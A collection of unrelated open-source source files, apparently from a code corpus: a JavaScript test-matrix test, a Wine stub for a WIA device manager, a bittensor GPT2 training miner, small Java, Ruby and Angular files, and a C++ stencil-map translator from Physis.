password: '<PASSWORD>',
delimiter: undefined,
prefix: undefined,
};
const testMatrix = new Matrix(params);
let hasBeenCalled = false;
testMatrix.generate([], (testMatrix, done) => {
assert(testMatrix.params.auth !== undefined, true);
hasBeenCalled = true;
done();
}, 'should generate matrix').execute();
describe('Check if matrix was well generated', () => {
it('Has been called', done => {
const callback = () => {
if (hasBeenCalled === true) {
done();
} else {
process.nextTick(callback);
}
};
callback();
});
});
});
describe('Should launch an exception during bad specialization', () => {
const testMatrix = new Matrix(params);
let anExceptionWasFound = false;
try {
testMatrix.generate(['invalid specialization'],
(testMatrix, done) => {
assert(testMatrix.params.auth !== undefined, true);
done();
}, 'should generate matrix').execute();
} catch (e) {
anExceptionWasFound = true;
}
it('An exception was launched', done => {
assert.equal(anExceptionWasFound, true);
done();
});
});
describe('Should launch an exception if element already specialized',
() => {
const testMatrix = new Matrix(params);
let anExceptionWasFound = false;
try {
testMatrix.generate(['auth'], testMatrix => {
testMatrix.generate(['auth'], testMatrix => {
assert(testMatrix.params.auth !== undefined, true);
}, 'should generate matrix');
}).execute();
} catch (e) {
anExceptionWasFound = true;
}
it('An exception was launched', done => {
assert.equal(anExceptionWasFound, true);
done();
});
});
describe('Should execute even bad key exception', () => {
const testMatrix = new Matrix(params);
const ifParams = {
'invalid field': null,
};
testMatrix.generate(['auth'], testMatrix => {
testMatrix.generate(['delimiter', 'prefix'], (testMatrix, done) => {
assert(testMatrix.params.auth !== undefined, true);
done();
}, 'should generate matrix').testSpecialCase(ifParams, (testMatrix,
done) => {
assert(testMatrix.params.auth !== undefined, true);
done();
}, 'should not run');
}).execute();
});
describe('Use array of object', () => {
const params = {
auth: [{ auth: 'v2' }, { auth: 'v4' }],
};
const testMatrix = new Matrix(params);
testMatrix.generate(['auth'], (testMatrix, done) => {
assert(testMatrix.params.auth.auth === 'v2'
|| testMatrix.params.auth.auth === 'v4', true);
done();
}, 'should generate matrix').execute();
});
});
|
Heersin/wine | dlls/wiaservc/wiadevmgr.c | <filename>dlls/wiaservc/wiadevmgr.c
/*
* WiaDevMgr functions
*
* Copyright 2009 <NAME>
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Lesser General Public
* License as published by the Free Software Foundation; either
* version 2.1 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Lesser General Public License for more details.
*
* You should have received a copy of the GNU Lesser General Public
* License along with this library; if not, write to the Free Software
* Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
*/
#define COBJMACROS
#include "objbase.h"
#include "wia_lh.h"
#include "wiaservc_private.h"
#include "wine/debug.h"
WINE_DEFAULT_DEBUG_CHANNEL(wia);
typedef struct
{
IEnumWIA_DEV_INFO IEnumWIA_DEV_INFO_iface;
LONG ref;
} enumwiadevinfo;
static inline wiadevmgr *impl_from_IWiaDevMgr(IWiaDevMgr *iface)
{
return CONTAINING_RECORD(iface, wiadevmgr, IWiaDevMgr_iface);
}
static inline enumwiadevinfo *impl_from_IEnumWIA_DEV_INFO(IEnumWIA_DEV_INFO *iface)
{
return CONTAINING_RECORD(iface, enumwiadevinfo, IEnumWIA_DEV_INFO_iface);
}
static HRESULT WINAPI enumwiadevinfo_QueryInterface(IEnumWIA_DEV_INFO *iface, REFIID riid, void **obj)
{
enumwiadevinfo *This = impl_from_IEnumWIA_DEV_INFO(iface);
TRACE("(%p, %s, %p)\n", This, debugstr_guid(riid), obj);
if (IsEqualGUID(riid, &IID_IUnknown) || IsEqualGUID(riid, &IID_IEnumWIA_DEV_INFO))
*obj = iface;
else
{
FIXME("interface %s not implemented\n", debugstr_guid(riid));
*obj = NULL;
return E_NOINTERFACE;
}
IUnknown_AddRef((IUnknown*)*obj);
return S_OK;
}
static ULONG WINAPI enumwiadevinfo_AddRef(IEnumWIA_DEV_INFO *iface)
{
enumwiadevinfo *This = impl_from_IEnumWIA_DEV_INFO(iface);
ULONG ref = InterlockedIncrement(&This->ref);
TRACE("(%p)->(%lu)\n", This, ref);
return ref;
}
static ULONG WINAPI enumwiadevinfo_Release(IEnumWIA_DEV_INFO *iface)
{
enumwiadevinfo *This = impl_from_IEnumWIA_DEV_INFO(iface);
ULONG ref = InterlockedDecrement(&This->ref);
TRACE("(%p)->(%lu)\n", This, ref);
if (ref == 0)
HeapFree(GetProcessHeap(), 0, This);
return ref;
}
static HRESULT WINAPI enumwiadevinfo_Next(IEnumWIA_DEV_INFO *iface, ULONG count, IWiaPropertyStorage **elem, ULONG *fetched)
{
enumwiadevinfo *This = impl_from_IEnumWIA_DEV_INFO(iface);
FIXME("(%p, %ld, %p, %p): stub\n", This, count, elem, fetched);
*fetched = 0;
return E_NOTIMPL;
}
static HRESULT WINAPI enumwiadevinfo_Skip(IEnumWIA_DEV_INFO *iface, ULONG count)
{
enumwiadevinfo *This = impl_from_IEnumWIA_DEV_INFO(iface);
FIXME("(%p, %lu): stub\n", This, count);
return E_NOTIMPL;
}
static HRESULT WINAPI enumwiadevinfo_Reset(IEnumWIA_DEV_INFO *iface)
{
enumwiadevinfo *This = impl_from_IEnumWIA_DEV_INFO(iface);
FIXME("(%p): stub\n", This);
return E_NOTIMPL;
}
static HRESULT WINAPI enumwiadevinfo_Clone(IEnumWIA_DEV_INFO *iface, IEnumWIA_DEV_INFO **ret)
{
enumwiadevinfo *This = impl_from_IEnumWIA_DEV_INFO(iface);
FIXME("(%p, %p): stub\n", This, ret);
return E_NOTIMPL;
}
static HRESULT WINAPI enumwiadevinfo_GetCount(IEnumWIA_DEV_INFO *iface, ULONG *count)
{
enumwiadevinfo *This = impl_from_IEnumWIA_DEV_INFO(iface);
FIXME("(%p, %p): stub\n", This, count);
*count = 0;
return E_NOTIMPL;
}
static const IEnumWIA_DEV_INFOVtbl EnumWIA_DEV_INFOVtbl =
{
enumwiadevinfo_QueryInterface,
enumwiadevinfo_AddRef,
enumwiadevinfo_Release,
enumwiadevinfo_Next,
enumwiadevinfo_Skip,
enumwiadevinfo_Reset,
enumwiadevinfo_Clone,
enumwiadevinfo_GetCount
};
static HRESULT WINAPI wiadevmgr_QueryInterface(IWiaDevMgr *iface, REFIID riid, void **ppvObject)
{
wiadevmgr *This = impl_from_IWiaDevMgr(iface);
TRACE("(%p, %s, %p)\n", This, debugstr_guid(riid), ppvObject);
if (IsEqualGUID(riid, &IID_IUnknown) || IsEqualGUID(riid, &IID_IWiaDevMgr))
*ppvObject = iface;
else
{
FIXME("interface %s not implemented\n", debugstr_guid(riid));
*ppvObject = NULL;
return E_NOINTERFACE;
}
IUnknown_AddRef((IUnknown*) *ppvObject);
return S_OK;
}
static ULONG WINAPI wiadevmgr_AddRef(IWiaDevMgr *iface)
{
wiadevmgr *This = impl_from_IWiaDevMgr(iface);
return InterlockedIncrement(&This->ref);
}
static ULONG WINAPI wiadevmgr_Release(IWiaDevMgr *iface)
{
ULONG ref;
wiadevmgr *This = impl_from_IWiaDevMgr(iface);
ref = InterlockedDecrement(&This->ref);
if (ref == 0)
HeapFree(GetProcessHeap(), 0, This);
return ref;
}
static HRESULT WINAPI wiadevmgr_EnumDeviceInfo(IWiaDevMgr *iface, LONG flag, IEnumWIA_DEV_INFO **ret)
{
wiadevmgr *This = impl_from_IWiaDevMgr(iface);
enumwiadevinfo *enuminfo;
TRACE("(%p)->(%lx, %p)\n", This, flag, ret);
*ret = NULL;
enuminfo = HeapAlloc(GetProcessHeap(), 0, sizeof(*enuminfo));
if (!enuminfo)
return E_OUTOFMEMORY;
enuminfo->IEnumWIA_DEV_INFO_iface.lpVtbl = &EnumWIA_DEV_INFOVtbl;
enuminfo->ref = 1;
*ret = &enuminfo->IEnumWIA_DEV_INFO_iface;
return S_OK;
}
static HRESULT WINAPI wiadevmgr_CreateDevice(IWiaDevMgr *iface, BSTR bstrDeviceID, IWiaItem **ppWiaItemRoot)
{
wiadevmgr *This = impl_from_IWiaDevMgr(iface);
FIXME("(%p, %s, %p): stub\n", This, debugstr_w(bstrDeviceID), ppWiaItemRoot);
return E_NOTIMPL;
}
static HRESULT WINAPI wiadevmgr_SelectDeviceDlg(IWiaDevMgr *iface, HWND hwndParent, LONG lDeviceType,
LONG lFlags, BSTR *pbstrDeviceID, IWiaItem **ppItemRoot)
{
wiadevmgr *This = impl_from_IWiaDevMgr(iface);
FIXME("(%p, %p, %ld, 0x%lx, %p, %p): stub\n", This, hwndParent, lDeviceType, lFlags, pbstrDeviceID, ppItemRoot);
return E_NOTIMPL;
}
static HRESULT WINAPI wiadevmgr_SelectDeviceDlgID(IWiaDevMgr *iface, HWND hwndParent, LONG lDeviceType,
LONG lFlags, BSTR *pbstrDeviceID)
{
wiadevmgr *This = impl_from_IWiaDevMgr(iface);
FIXME("(%p, %p, %ld, 0x%lx, %p): stub\n", This, hwndParent, lDeviceType, lFlags, pbstrDeviceID);
return E_NOTIMPL;
}
static HRESULT WINAPI wiadevmgr_GetImageDlg(IWiaDevMgr *iface, HWND hwndParent, LONG lDeviceType,
LONG lFlags, LONG lIntent, IWiaItem *pItemRoot,
BSTR bstrFilename, GUID *pguidFormat)
{
wiadevmgr *This = impl_from_IWiaDevMgr(iface);
FIXME("(%p, %p, %ld, 0x%lx, %ld, %p, %s, %s): stub\n", This, hwndParent, lDeviceType, lFlags,
lIntent, pItemRoot, debugstr_w(bstrFilename), debugstr_guid(pguidFormat));
return E_NOTIMPL;
}
static HRESULT WINAPI wiadevmgr_RegisterEventCallbackProgram(IWiaDevMgr *iface, LONG lFlags, BSTR bstrDeviceID,
const GUID *pEventGUID, BSTR bstrCommandline,
BSTR bstrName, BSTR bstrDescription, BSTR bstrIcon)
{
wiadevmgr *This = impl_from_IWiaDevMgr(iface);
FIXME("(%p, 0x%lx, %s, %s, %s, %s, %s, %s): stub\n", This, lFlags, debugstr_w(bstrDeviceID),
debugstr_guid(pEventGUID), debugstr_w(bstrCommandline), debugstr_w(bstrName),
debugstr_w(bstrDescription), debugstr_w(bstrIcon));
return E_NOTIMPL;
}
static HRESULT WINAPI wiadevmgr_RegisterEventCallbackInterface(IWiaDevMgr *iface, LONG lFlags, BSTR bstrDeviceID,
const GUID *pEventGUID, IWiaEventCallback *pIWiaEventCallback,
IUnknown **pEventObject)
{
wiadevmgr *This = impl_from_IWiaDevMgr(iface);
FIXME("(%p, 0x%lx, %s, %s, %p, %p): stub\n", This, lFlags, debugstr_w(bstrDeviceID),
debugstr_guid(pEventGUID), pIWiaEventCallback, pEventObject);
return E_NOTIMPL;
}
static HRESULT WINAPI wiadevmgr_RegisterEventCallbackCLSID(IWiaDevMgr *iface, LONG lFlags, BSTR bstrDeviceID,
const GUID *pEventGUID, const GUID *pClsID, BSTR bstrName,
BSTR bstrDescription, BSTR bstrIcon)
{
wiadevmgr *This = impl_from_IWiaDevMgr(iface);
FIXME("(%p, 0x%lx, %s, %s, %s, %s, %s, %s): stub\n", This, lFlags, debugstr_w(bstrDeviceID),
debugstr_guid(pEventGUID), debugstr_guid(pClsID), debugstr_w(bstrName),
debugstr_w(bstrDescription), debugstr_w(bstrIcon));
return E_NOTIMPL;
}
static HRESULT WINAPI wiadevmgr_AddDeviceDlg(IWiaDevMgr *iface, HWND hwndParent, LONG lFlags)
{
wiadevmgr *This = impl_from_IWiaDevMgr(iface);
FIXME("(%p, %p, 0x%lx): stub\n", This, hwndParent, lFlags);
return E_NOTIMPL;
}
static const IWiaDevMgrVtbl WIASERVC_IWiaDevMgr_Vtbl =
{
wiadevmgr_QueryInterface,
wiadevmgr_AddRef,
wiadevmgr_Release,
wiadevmgr_EnumDeviceInfo,
wiadevmgr_CreateDevice,
wiadevmgr_SelectDeviceDlg,
wiadevmgr_SelectDeviceDlgID,
wiadevmgr_GetImageDlg,
wiadevmgr_RegisterEventCallbackProgram,
wiadevmgr_RegisterEventCallbackInterface,
wiadevmgr_RegisterEventCallbackCLSID,
wiadevmgr_AddDeviceDlg
};
HRESULT wiadevmgr_Constructor(IWiaDevMgr **ppObj)
{
wiadevmgr *This;
TRACE("(%p)\n", ppObj);
This = HeapAlloc(GetProcessHeap(), 0, sizeof(wiadevmgr));
if (This)
{
This->IWiaDevMgr_iface.lpVtbl = &WIASERVC_IWiaDevMgr_Vtbl;
This->ref = 1;
*ppObj = &This->IWiaDevMgr_iface;
return S_OK;
}
*ppObj = NULL;
return E_OUTOFMEMORY;
}
|
il-dar/bittensor | miners/TEXT/gpt2_wiki/gpt2_wiki.py | #!/bin/python3
"""GPT2 Language Modelling miner
This file demonstrates training the GPT2 neuron with language modelling.
Example:
$ python miners/TEXT/gpt2-wiki.py
Look at the yaml config file to tweak the parameters of the model. To run with those
default configurations, run:
$ cd miners/TEXT
$ python gpt2_wiki/gpt2_wiki.py --session.config_file gpt2_wiki/gpt2_wiki_config.yaml
"""
import argparse
import math
import os
import sys
import time
import torch
import torch.nn.functional as F
import traceback
import time
import bittensor
from termcolor import colored
from munch import Munch
from datasets import load_dataset
from loguru import logger
from torch.utils.tensorboard import SummaryWriter
from bittensor.utils.model_utils import ModelToolbox
from synapses.gpt2 import GPT2LMSynapse, nextbatch
from pytorch_transformers import WarmupCosineWithHardRestartsSchedule
class Miner():
"""
Initializes, trains, and tests models created inside of 'bittensor/synapses'.
During instantiation, this class takes a config as a [Munch](https://github.com/Infinidat/munch) object.
"""
def __init__(self, config: Munch = None):
if config == None:
config = Miner.build_config(); logger.info(bittensor.config.Config.toString(config))
self.config = config
# ---- Neuron ----
self.neuron = bittensor.neuron.Neuron(self.config)
# ---- Model ----
self.model = GPT2LMSynapse( self.config )
# ---- Optimizer ----
self.optimizer = torch.optim.SGD(self.model.parameters(), lr = self.config.miner.learning_rate, momentum=self.config.miner.momentum)
self.scheduler = WarmupCosineWithHardRestartsSchedule(self.optimizer, 50, 300)
# ---- Model Load/Save tools ----
self.model_toolbox = ModelToolbox(GPT2LMSynapse, torch.optim.SGD)
# ---- Dataset ----
# Dataset: 74 million sentences pulled from books.
self.dataset = load_dataset('ag_news')['train']
self.device = torch.device("cuda" if torch.cuda.is_available() else "cpu")
# ---- Logging ----
self.tensorboard = SummaryWriter(log_dir = self.config.miner.full_path)
if self.config.miner.record_log:
logger.add(self.config.miner.full_path + "/{}_{}.log".format(self.config.miner.name, self.config.miner.trial_uid),format="{time:YYYY-MM-DD at HH:mm:ss} | {level} | {message}")
@staticmethod
def build_config() -> Munch:
parser = argparse.ArgumentParser();
Miner.add_args(parser)
config = bittensor.config.Config.to_config(parser);
Miner.check_config(config)
return config
@staticmethod
def add_args(parser: argparse.ArgumentParser):
parser.add_argument('--miner.learning_rate', default=0.01, type=float, help='Training initial learning rate.')
parser.add_argument('--miner.momentum', default=0.98, type=float, help='Training initial momentum for SGD.')
parser.add_argument('--miner.n_epochs', default=int(sys.maxsize), type=int, help='Number of training epochs.')
parser.add_argument('--miner.epoch_length', default=500, type=int, help='Iterations of training per epoch')
parser.add_argument('--miner.batch_size_train', default=1, type=int, help='Training batch size.')
parser.add_argument('--miner.sync_interval', default=100, type=int, help='Batches before we sync with chain and emit new weights.')
parser.add_argument('--miner.log_interval', default=10, type=int, help='Batches before we log miner info.')
parser.add_argument('--miner.accumulation_interval', default=1, type=int, help='Batches before we apply acummulated gradients.')
parser.add_argument('--miner.apply_remote_gradients', default=False, type=bool, help='If true, neuron applies gradients which accumulate from remotes calls.')
parser.add_argument('--miner.root_dir', default='~/.bittensor/miners/', type=str, help='Root path to load and save data associated with each miner')
parser.add_argument('--miner.name', default='gpt-wiki', type=str, help='Trials for this miner go in miner.root / miner.name')
parser.add_argument('--miner.trial_uid', default=str(time.time()).split('.')[0], type=str, help='Saved models go in miner.root_dir / miner.name / miner.uid')
parser.add_argument('--miner.record_log', default=True, help='Record all logs when running this miner')
parser.add_argument('--miner.config_file', type=str, help='config file to run this neuron, if not using cmd line arguments.')
GPT2LMSynapse.add_args(parser)
bittensor.neuron.Neuron.add_args(parser)
@staticmethod
def check_config(config: Munch):
assert config.miner.momentum > 0 and config.miner.momentum < 1, "momentum must be a value between 0 and 1"
assert config.miner.batch_size_train > 0, "batch_size_train must a positive value"
assert config.miner.learning_rate > 0, "learning_rate must be a positive value."
full_path = '{}/{}/{}'.format(config.miner.root_dir, config.miner.name, config.miner.trial_uid)
config.miner.full_path = os.path.expanduser(full_path)
if not os.path.exists(config.miner.full_path):
os.makedirs(config.miner.full_path)
GPT2LMSynapse.check_config(config)
bittensor.neuron.Neuron.check_config(config)
# --- Main loop ----
def run (self):
# ---- Subscribe ----
with self.neuron:
# ---- Weights ----
self.row = self.neuron.metagraph.row.to(self.model.device)
# --- Run state ---
self.global_step = 0
self.best_train_loss = math.inf
# --- Loop for epochs ---
for self.epoch in range(self.config.miner.n_epochs):
try:
# ---- Serve ----
self.neuron.axon.serve( self.model )
# ---- Train Model ----
self.train()
self.scheduler.step()
# If model has borked for some reason, we need to make sure it doesn't emit weights
# Instead, reload into previous version of model
if torch.any(torch.isnan(torch.cat([param.view(-1) for param in self.model.parameters()]))):
self.model, self.optimizer = self.model_toolbox.load_model(self.config)
continue
# ---- Emitting weights ----
self.neuron.metagraph.set_weights(self.row, wait_for_inclusion = True) # Sets my row-weights on the chain.
# ---- Sync metagraph ----
self.neuron.metagraph.sync() # Pulls the latest metagraph state (with my update.)
self.row = self.neuron.metagraph.row.to(self.model.device)
# --- Epoch logs ----
print(self.neuron.axon.__full_str__())
print(self.neuron.dendrite.__full_str__())
print(self.neuron.metagraph)
# ---- Update Tensorboard ----
self.neuron.dendrite.__to_tensorboard__(self.tensorboard, self.global_step)
self.neuron.metagraph.__to_tensorboard__(self.tensorboard, self.global_step)
self.neuron.axon.__to_tensorboard__(self.tensorboard, self.global_step)
# ---- Save best loss and model ----
if self.training_loss and self.epoch % 10 == 0 and self.training_loss < self.best_train_loss:
self.best_train_loss = self.training_loss / 10 # update best train loss
self.model_toolbox.save_model(
self.config.miner.full_path,
{
'epoch': self.epoch,
'model_state_dict': self.model.state_dict(),
'loss': self.best_train_loss,
'optimizer_state_dict': self.optimizer.state_dict(),
}
)
self.tensorboard.add_scalar('Neuron/Train_loss', self.training_loss, self.global_step)
# --- Catch Errors ----
except Exception as e:
logger.error('Exception in training script with error: {}, {}', e, traceback.format_exc())
logger.info('Continuing to train.')
# ---- Train Epoch ----
def train(self):
self.training_loss = 0.0
for local_step in range(self.config.miner.epoch_length):
# ---- Forward pass ----
inputs = nextbatch(self.dataset, self.config.miner.batch_size_train, bittensor.__tokenizer__())
output = self.model.remote_forward(
self.neuron,
inputs.to(self.model.device),
training = True,
)
# ---- Backward pass ----
loss = output.local_target_loss + output.distillation_loss + output.remote_target_loss
loss.backward() # Accumulates gradients on the model.
self.optimizer.step() # Applies accumulated gradients.
self.optimizer.zero_grad() # Zeros out gradients for next accummulation
# ---- Train row weights ----
batch_weights = torch.mean(output.router.weights, axis = 0).to(self.model.device) # Average over batch.
self.row = (1 - 0.03) * self.row + 0.03 * batch_weights # Moving avg update.
self.row = F.normalize(self.row, p = 1, dim = 0) # Ensure normalization.
# ---- Step logs ----
logger.info('GS: {} LS: {} Epoch: {}\tLocal Target Loss: {}\tRemote Target Loss: {}\tDistillation Loss: {}\tAxon: {}\tDendrite: {}',
colored('{}'.format(self.global_step), 'red'),
colored('{}'.format(local_step), 'blue'),
colored('{}'.format(self.epoch), 'green'),
colored('{:.4f}'.format(output.local_target_loss.item()), 'green'),
colored('{:.4f}'.format(output.remote_target_loss.item()), 'blue'),
colored('{:.4f}'.format(output.distillation_loss.item()), 'red'),
self.neuron.axon,
self.neuron.dendrite)
logger.info('Codes: {}', output.router.return_codes.tolist())
self.tensorboard.add_scalar('Neuron/Rloss', output.remote_target_loss.item(), self.global_step)
self.tensorboard.add_scalar('Neuron/Lloss', output.local_target_loss.item(), self.global_step)
self.tensorboard.add_scalar('Neuron/Dloss', output.distillation_loss.item(), self.global_step)
# ---- Step increments ----
self.global_step += 1
self.training_loss += output.local_target_loss.item()
# --- Memory clean up ----
torch.cuda.empty_cache()
del output
if __name__ == "__main__":
# ---- Build and Run ----
config = Miner.build_config(); logger.info(bittensor.config.Config.toString(config))
miner = Miner(config)
miner.run()
|
inh3rit/SmartIM | example/src/main/java/cn/ieclipse/smartim/actions/DisconnectAction.java | package cn.ieclipse.smartim.actions;
import java.awt.event.ActionEvent;
import cn.ieclipse.smartim.views.IMPanel;
import icons.SmartIcons;
/**
* Created by Jamling on 2017/7/12.
*/
public class DisconnectAction extends IMPanelAction {
public DisconnectAction(IMPanel panel) {
super(panel, SmartIcons.close);
setToolTipText("断开连接并退出客户端");
}
@Override
public void actionPerformed(ActionEvent anActionEvent) {
panel.close();
}
}
|
slaskawi/pnc | rest/src/main/java/org/jboss/pnc/rest/provider/ArtifactProvider.java | <filename>rest/src/main/java/org/jboss/pnc/rest/provider/ArtifactProvider.java
/**
* JBoss, Home of Professional Open Source.
* Copyright 2014 Red Hat, Inc., and individual contributors
* as indicated by the @author tags.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.jboss.pnc.rest.provider;
import org.jboss.pnc.model.Artifact;
import org.jboss.pnc.rest.provider.collection.CollectionInfo;
import org.jboss.pnc.rest.restmodel.ArtifactRest;
import org.jboss.pnc.spi.datastore.repositories.ArtifactRepository;
import org.jboss.pnc.spi.datastore.repositories.PageInfoProducer;
import org.jboss.pnc.spi.datastore.repositories.SortInfoProducer;
import org.jboss.pnc.spi.datastore.repositories.api.RSQLPredicateProducer;
import javax.ejb.Stateless;
import javax.inject.Inject;
import java.util.function.Function;
import static org.jboss.pnc.spi.datastore.predicates.ArtifactPredicates.withBuildRecordId;
@Stateless
public class ArtifactProvider extends AbstractProvider<Artifact, ArtifactRest> {
public ArtifactProvider() {
}
@Inject
public ArtifactProvider(ArtifactRepository artifactRepository, RSQLPredicateProducer rsqlPredicateProducer, SortInfoProducer sortInfoProducer, PageInfoProducer pageInfoProducer) {
super(artifactRepository, rsqlPredicateProducer, sortInfoProducer, pageInfoProducer);
}
public CollectionInfo<ArtifactRest> getAllForBuildRecord(int pageIndex, int pageSize, String sortingRsql, String query,
int buildRecordId) {
return queryForCollection(pageIndex, pageSize, sortingRsql, query, withBuildRecordId(buildRecordId));
}
@Override
protected Function<? super Artifact, ? extends ArtifactRest> toRESTModel() {
return artifact -> new ArtifactRest(artifact);
}
@Override
protected Function<? super ArtifactRest, ? extends Artifact> toDBModel() {
throw new UnsupportedOperationException();
}
}
|
Site-Command/vagrant-bindfs | lib/vagrant-bindfs/vagrant/capabilities/ubuntu/fuse.rb | <reponame>Site-Command/vagrant-bindfs
# frozen_string_literal: true
module VagrantBindfs
module Vagrant
module Capabilities
module Ubuntu
module Fuse
class << self
# Ubuntu 6.10 and after automatically load fuse.
# Just check if it is installed
def bindfs_fuse_loaded(machine)
machine.guest.capability(:bindfs_fuse_installed)
end
def bindfs_fuse_load(machine)
machine.guest.capability(:bindfs_fuse_installed)
end
end
end
end
end
end
end
|
michikono/generator-enterprise-angular | generators/app/templates/%CLIENTSIDEFOLDER%/%APPSUBFOLDER%/filters/filters.module.js | /**
* Module for filters
*/
(function () {
'use strict';
angular.module('<%= appName %>.filters', []);
})();
|
naoyam/physis | translator/map.cc | // Licensed under the BSD license. See LICENSE.txt for more details.
#include "translator/map.h"
#include "translator/rose_util.h"
#include "translator/grid.h"
#include "translator/translation_context.h"
#include "translator/physis_names.h"
namespace si = SageInterface;
namespace sb = SageBuilder;
namespace ru = physis::translator::rose_util;
namespace physis {
namespace translator {
Counter StencilMap::c;
StencilMap::StencilMap(SgFunctionCallExp *call, TranslationContext *tx)
: id(StencilMap::c.next()) , stencil_type_(NULL),
func(NULL),
run_(NULL), run_inner_(NULL), run_boundary_(NULL),
fc_(call) {
kernel = StencilMap::getKernelFromMapCall(fc_);
assert(kernel);
dom = StencilMap::getDomFromMapCall(fc_);
assert(dom);
numDim = rose_util::GetASTAttribute<Domain>(dom)->num_dims();
SgExpressionPtrList &args
= fc_->get_args()->get_expressions();
SgExpressionPtrList::iterator args_it = args.begin();
SgInitializedNamePtrList ¶ms = kernel->get_args();
int param_index = numDim; // skip the index parameters
// skip the first two args (kernel and domain)
args_it += 2;
// Additionally, skip one for PSStencil param in Fortran
if (ru::IsFortranLikeLanguage()) ++args_it;
FOREACH (it, args_it, args.end()) {
SgExpression *a = *it;
if (GridType::isGridType(a->get_type())) {
SgVarRefExp *gv = isSgVarRefExp(a);
assert(gv);
SgInitializedName *n = gv->get_symbol()->get_declaration();
grid_args_.push_back(n);
grid_params_.push_back(params[param_index]);
}
++param_index;
}
type_ = AnalyzeType(call);
}
StencilMap::Type StencilMap::AnalyzeType(SgFunctionCallExp *call) {
string map_name = rose_util::getFuncName(call);
if (map_name == PS_STENCIL_MAP_RB_NAME) {
return StencilMap::kRedBlack;
} else if (map_name == PS_STENCIL_MAP_R_NAME) {
return StencilMap::kRed;
} else if (map_name == PS_STENCIL_MAP_B_NAME) {
return StencilMap::kBlack;
} else {
return StencilMap::kNormal;
}
}
SgExpression *StencilMap::getDomFromMapCall(SgFunctionCallExp *call) {
SgExpressionPtrList &args = call->get_args()->get_expressions();
SgExpression *domExp = args[ru::IsCLikeLanguage()? 1 : 2];
LOG_DEBUG() << "dom: " << domExp->unparseToString() << "\n";
return domExp;
}
SgFunctionDeclaration *StencilMap::getKernelFromMapCall(
SgFunctionCallExp *call) {
SgExpressionPtrList &args = call->get_args()->get_expressions();
SgExpression *kernelExp = args[ru::IsCLikeLanguage()? 0 : 1];
SgFunctionDeclaration *kernel = rose_util::getFuncDeclFromFuncRef(kernelExp);
kernel = isSgFunctionDeclaration(kernel->get_definingDeclaration());
LOG_DEBUG() << "kernel: " << kernel->unparseToString() << "\n";
return kernel;
}
string StencilMap::toString() const {
ostringstream ss;
ss << "Call to map with " << rose_util::getName(kernel);
return ss.str();
}
bool StencilMap::IsMap(SgFunctionCallExp *call) {
SgFunctionRefExp *f = isSgFunctionRefExp(call->get_function());
if (!f) return false;
SgName name = f->get_symbol()->get_name();
return
((si::is_C_language() || si::is_Cxx_language()) &&
(name == PS_STENCIL_MAP_NAME ||
name == PS_STENCIL_MAP_RB_NAME ||
name == PS_STENCIL_MAP_R_NAME ||
name == PS_STENCIL_MAP_B_NAME)) ||
(si::is_Fortran_language() && name == PSF_STENCIL_MAP_NAME);
}
#if 0
void StencilMap::AnalyzeGridWrites(TranslationContext &tx) {
}
#endif
string StencilMap::GetTypeName() const {
return GetInternalNamePrefix() + "PSStencil" + dimStr() +
"_" + kernel->get_name();
}
string StencilMap::GetMapName() const {
return GetInternalNamePrefix() + "PSStencil" + dimStr() +
"Map_" + kernel->get_name();
}
string StencilMap::GetRunName() const {
return GetInternalNamePrefix() + "PSStencil" + dimStr() +
"Run_" + kernel->get_name();
}
string StencilMap::GetInternalNamePrefix() {
if (ru::IsCLikeLanguage()) {
return string("__");
} else {
return string("");
}
}
const std::string RunKernelLoopAttribute::name = "RunKernelLoop";
const std::string RunKernelIndexVarAttribute::name = "RunKernelIndexVar";
const std::string RunKernelCallerAttribute::name = "RunKernelCaller";
bool StencilMap::IsGridPeriodic(SgInitializedName *gv) const {
return isContained<SgInitializedName*>(grid_periodic_set_, gv);
}
void StencilMap::SetGridPeriodic(SgInitializedName *gv) {
grid_periodic_set_.insert(gv);
}
SgVarRefExp *KernelLoopAnalysis::GetLoopVar(SgForStatement *loop) {
SgExpression *incr = loop->get_increment();
SgVarRefExp *v = rose_util::GetUniqueVarRefExp(incr);
PSAssert(v);
return v;
}
SgExpression *KernelLoopAnalysis::GetLoopBegin(SgForStatement *loop) {
const SgStatementPtrList &init_stmt = loop->get_init_stmt();
SgExpression *begin_exp = NULL;
if (init_stmt.size() == 1) {
SgExprStatement *assign = isSgExprStatement(init_stmt[0]);
PSAssert(assign);
begin_exp = isSgAssignOp(
assign->get_expression())->get_rhs_operand();
} else if (init_stmt.size() == 0) {
#if 0
// backtrack to the previous loop
SgStatement *preceding_loop = si::getPreviousStatement(loop);
while (true) {
if (isSgForStatement(preceding_loop)) break;
preceding_loop = si::getPreviousStatement(preceding_loop);
}
PSAssert(isSgForStatement(preceding_loop));
begin_exp = KernelLoopAnalysis::GetLoopEnd(
isSgForStatement(preceding_loop));
#else
begin_exp = NULL;
#endif
} else {
LOG_ERROR() << "Unsupported loop init statement: "
<< loop->unparseToString() << "\n";
PSAbort(1);
}
return begin_exp;
}
SgExpression *KernelLoopAnalysis::GetLoopEnd(SgForStatement *loop) {
SgExprStatement *test = isSgExprStatement(loop->get_test());
PSAssert(test);
SgBinaryOp *test_exp = isSgBinaryOp(test->get_expression());
PSAssert(isSgLessOrEqualOp(test_exp) ||
isSgLessThanOp(test_exp));
SgExpression *end_exp = test_exp->get_rhs_operand();
return end_exp;
}
} // namespace translator
} // namespace physis
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.